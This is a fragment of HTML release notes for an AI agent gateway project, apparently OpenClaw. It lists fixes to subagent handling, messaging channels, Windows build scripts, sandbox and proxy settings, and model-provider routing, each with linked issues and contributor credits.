<li>Agents/tools: give timed-out or cancelled process trees a bounded SIGTERM cleanup window before SIGKILL while preserving tree-aware cancellation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4260251585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66399/hovercard" href="https://github.com/openclaw/openclaw/issues/66399">#66399</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509890128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85865" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85865/hovercard" href="https://github.com/openclaw/openclaw/pull/85865">#85865</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/subagents: treat aborted subagent stop reasons as killed terminal failures so parent sessions get error announcements instead of silent success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72293/hovercard" href="https://github.com/openclaw/openclaw/issues/72293">#72293</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509845139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85860/hovercard" href="https://github.com/openclaw/openclaw/pull/85860">#85860</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/providers: clamp proxy-like OpenAI Chat Completions output caps against the final request payload so strict local/API-compatible servers no longer reject prompts that already consume part of the context window. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463346817" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83086/hovercard" href="https://github.com/openclaw/openclaw/issues/83086">#83086</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510107154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85889" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85889/hovercard" href="https://github.com/openclaw/openclaw/pull/85889">#85889</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Agents/compaction: skip agent-harness preflight for provider-owned CLI runtime sessions so over-threshold Claude CLI sessions continue through normal compaction instead of failing on a missing harness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492387826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84857" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84857/hovercard" href="https://github.com/openclaw/openclaw/issues/84857">#84857</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492896072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84878" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84878/hovercard" href="https://github.com/openclaw/openclaw/pull/84878">#84878</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Codex/app-server: keep successful native hook relays available through a short post-turn grace window so late Codex hook subprocesses can finish policy enforcement without clearing a replacement relay. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474425104" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83987/hovercard" href="https://github.com/openclaw/openclaw/pull/83987">#83987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Control UI/config: save form-mode edits from the source config snapshot so runtime-only provider defaults like empty <code>models.providers.&lt;id&gt;.baseUrl</code> are not written back and rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509599522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85831/hovercard" href="https://github.com/openclaw/openclaw/issues/85831">#85831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</li>
<li>Browser/existing-session: launch Chrome DevTools MCP with usage statistics disabled by default so its telemetry watchdog stays off unless an operator explicitly opts in. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510091383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85886/hovercard" href="https://github.com/openclaw/openclaw/pull/85886">#85886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</li>
<li>Telegram: normalize legacy durable group retry targets before retry sends, polls, and pins so group retries keep using the real chat id. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/PDF: route MiniMax PDF fallback policy through plugin metadata so MiniMax uses text extraction instead of VLM image fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506610863" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85590/hovercard" href="https://github.com/openclaw/openclaw/pull/85590">#85590</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506467516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85575/hovercard" href="https://github.com/openclaw/openclaw/issues/85575">#85575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/plugins: tighten timeout, numeric option, media payload, permission, profile/TLS, plugin metadata, JSON, and remote URL handling; prevent stuck progress/app-server/IRC/Synology/Twitch waits; and keep imported chat history ordering stable.</li>
<li>Telegram/config: suppress the missing <code>accounts.default</code> warning when <code>channels.telegram.defaultAccount</code> names a configured account that also sorts first. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474104482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83948/hovercard" href="https://github.com/openclaw/openclaw/issues/83948">#83948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crypto86m/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crypto86m">@crypto86m</a>.</li>
<li>Telegram: serialize visible topic replies through core reply-lane admission so heartbeat and queued follow-up turns cannot continue ownerless or misroute responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491292661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84773/hovercard" href="https://github.com/openclaw/openclaw/pull/84773">#84773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway/WebChat: hide duplicate <code>gateway-injected</code> assistant rows when Cursor ACP already persisted the same <code>acp-runtime</code> reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508573154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85741/hovercard" href="https://github.com/openclaw/openclaw/issues/85741">#85741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lxf-lxf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lxf-lxf">@lxf-lxf</a>.</li>
<li>WebChat: scope the visible attachment button to its own composer file input so clicking Upload reliably opens the file picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474133617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83952/hovercard" href="https://github.com/openclaw/openclaw/pull/83952">#83952</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080664579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47983" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47983/hovercard" href="https://github.com/openclaw/openclaw/issues/47983">#47983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500457730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85256/hovercard" href="https://github.com/openclaw/openclaw/pull/85256">#85256</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63819/hovercard" href="https://github.com/openclaw/openclaw/issues/63819">#63819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/update: stop treating inherited macOS <code>XPC_SERVICE_NAME</code> values as launchd supervision during update respawn, so GUI-spawned gateways use detached respawn instead of exiting for a missing LaunchAgent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499885357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85224" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85224/hovercard" href="https://github.com/openclaw/openclaw/issues/85224">#85224</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richardmqq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richardmqq">@richardmqq</a>.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464834671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83255/hovercard" href="https://github.com/openclaw/openclaw/pull/83255">#83255</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lightcap/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lightcap">@lightcap</a>.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509644563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85835/hovercard" href="https://github.com/openclaw/openclaw/pull/85835">#85835</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Sandbox: keep workspace skill mounts read-only for remote container-cwd file operations and reject symlinked skill roots before creating protected overlays. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506614699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85591/hovercard" href="https://github.com/openclaw/openclaw/pull/85591">#85591</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Scripts/Windows: route remaining QA, release, profile, and live-media <code>pnpm</code> launches through the managed runner so native Windows avoids brittle <code>.cmd</code> execution and shell-argv warnings.</li>
<li>Release: align generated config/API baselines and the meeting-notes plugin version so release preflight stays green on native Windows.</li>
<li>Install/Windows: run Git hook setup through a Node prepare helper so native Windows installs no longer print POSIX shell errors.</li>
<li>Checks/Windows: chunk and serialize extension oxlint shards on native Windows so changed gates avoid Go-backed linter memory spikes.</li>
<li>Release/Windows: run installed <code>openclaw.cmd</code> verification through explicit <code>cmd.exe</code> wrapping so npm prepublish/postpublish checks avoid Node shell-argv warnings.</li>
<li>Release/Windows: run release-check npm pack/install/root probes through the shared npm runner so native Windows avoids bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Release/Windows: run cross-OS release check <code>.cmd</code> shims through explicit <code>cmd.exe</code> wrapping so native Windows install and gateway probes avoid Node shell-argv handling.</li>
<li>Control UI/Windows: run i18n Pi, npm, and pnpm helper commands through explicit Windows runners so native Windows translation sync avoids brittle <code>.cmd</code> launches.</li>
<li>Scripts/Windows: run the Z.AI fallback repro through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Codex/Windows: run app-server protocol formatting through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Plugins/Windows: run plugin npm package staging through the shared npm runner so native Windows release checks avoid bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
<li>Agents/fs: allow workspace-only host write/edit tools to write through in-workspace symlink directory parents while preserving outside-workspace symlink rejection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489773167" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84696" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84696/hovercard" href="https://github.com/openclaw/openclaw/issues/84696">#84696</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garbagenetwork/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garbagenetwork">@garbagenetwork</a>.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507093570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85652/hovercard" href="https://github.com/openclaw/openclaw/pull/85652">#85652</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Sessions/status: preserve user-facing model, fallback, usage, and cost attribution when internal subagent handoff runs use fallback models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508383924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85726" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85726/hovercard" href="https://github.com/openclaw/openclaw/pull/85726">#85726</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497481106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85082" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85082/hovercard" href="https://github.com/openclaw/openclaw/issues/85082">#85082</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Install/update: honor <code>OPENCLAW_HOME</code> when deriving default dev checkout and installer onboarding paths, while keeping explicit <code>OPENCLAW_GIT_DIR</code> and <code>OPENCLAW_CONFIG_PATH</code> overrides authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130936033" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54014/hovercard" href="https://github.com/openclaw/openclaw/issues/54014">#54014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robertPiro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robertPiro">@robertPiro</a>.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Plugins/Gateway: treat non-empty return values from plugin gateway method handlers as successful responses so <code>openclaw gateway call</code> no longer times out after completed plugin work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191852021" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59470/hovercard" href="https://github.com/openclaw/openclaw/issues/59470">#59470</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HTMG23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HTMG23">@HTMG23</a>.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455291382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82215" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82215/hovercard" href="https://github.com/openclaw/openclaw/issues/82215">#82215</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505095597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85488/hovercard" href="https://github.com/openclaw/openclaw/pull/85488">#85488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Update: keep the detached gateway restart handoff best-effort when the restart script process cannot be spawned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473950124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83892/hovercard" href="https://github.com/openclaw/openclaw/issues/83892">#83892</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davinci282828/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davinci282828">@davinci282828</a>.</li>
<li>Telegram: persist the prompt-context message cache through plugin state and record bot-authored replies after sends and draft streaming so later turns can include prior assistant replies without relying on the JSON sidecar. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499953215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85231/hovercard" href="https://github.com/openclaw/openclaw/pull/85231">#85231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Agents/subagents: keep Codex persona and user workspace files turn-scoped so native Codex subagents inherit only shared tool guidance by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509412584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85811" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85811/hovercard" href="https://github.com/openclaw/openclaw/pull/85811">#85811</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lastguru-net/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lastguru-net">@lastguru-net</a>.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496420539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85032" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85032/hovercard" href="https://github.com/openclaw/openclaw/pull/85032">#85032</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506164844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85549/hovercard" href="https://github.com/openclaw/openclaw/pull/85549">#85549</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roslinmahmud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roslinmahmud">@roslinmahmud</a>.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506775969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85619/hovercard" href="https://github.com/openclaw/openclaw/pull/85619">#85619</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ItsOtherMauridian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ItsOtherMauridian">@ItsOtherMauridian</a>.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506665584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85603/hovercard" href="https://github.com/openclaw/openclaw/pull/85603">#85603</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507633147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85682/hovercard" href="https://github.com/openclaw/openclaw/pull/85682">#85682</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willamhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willamhou">@willamhou</a>.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499834705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85219/hovercard" href="https://github.com/openclaw/openclaw/pull/85219">#85219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492043109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84830/hovercard" href="https://github.com/openclaw/openclaw/pull/84830">#84830</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116048289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52264/hovercard" href="https://github.com/openclaw/openclaw/pull/52264">#52264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PerfectPan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PerfectPan">@PerfectPan</a>.</li>
